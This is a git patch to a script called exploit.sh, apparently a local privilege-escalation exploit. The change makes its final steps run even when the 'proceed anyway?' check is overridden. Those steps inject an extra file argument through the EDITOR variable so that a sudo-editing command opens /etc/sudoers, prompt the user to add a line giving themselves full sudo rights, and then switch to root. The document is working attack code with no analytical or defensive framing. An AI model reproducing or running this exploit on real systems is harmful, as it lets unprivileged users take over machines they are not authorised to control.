From 2b16eb6222bc6d75f4b77f2750d6636601955d6a Mon Sep 17 00:00:00 2001 From: alpheratz0 Date: Wed, 15 Feb 2023 14:48:21 -0300 Subject: [PATCH] Fix "proceed anyway?" prompt --- exploit.sh | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/exploit.sh b/exploit.sh index 078dd2e..8e9a472 100644 --- a/exploit.sh +++ b/exploit.sh @@ -31,11 +31,12 @@ if [ -z "$EXPLOITABLE" ]; then read -p "Do you want to proceed anyway? (y/N): " confirm && [[ $confirm == [yY] ]] || exit 2 else echo "> BINGO! User exploitable" - echo "> Opening sudoers file, please add the following line to the file in order to do the privesc:" - echo "$USER ALL=(ALL:ALL) ALL" - read -n 1 -s -r -p "Press any key to continue..." - EDITOR="vim -- /etc/sudoers" $EXPLOITABLE - sudo su root - exit 0 fi +echo "> Opening sudoers file, please add the following line to the file in order to do the privesc:" +echo "$USER ALL=(ALL:ALL) ALL" +read -n 1 -s -r -p "Press any key to continue..." +EDITOR="vim -- /etc/sudoers" $EXPLOITABLE +sudo su root +exit 0 +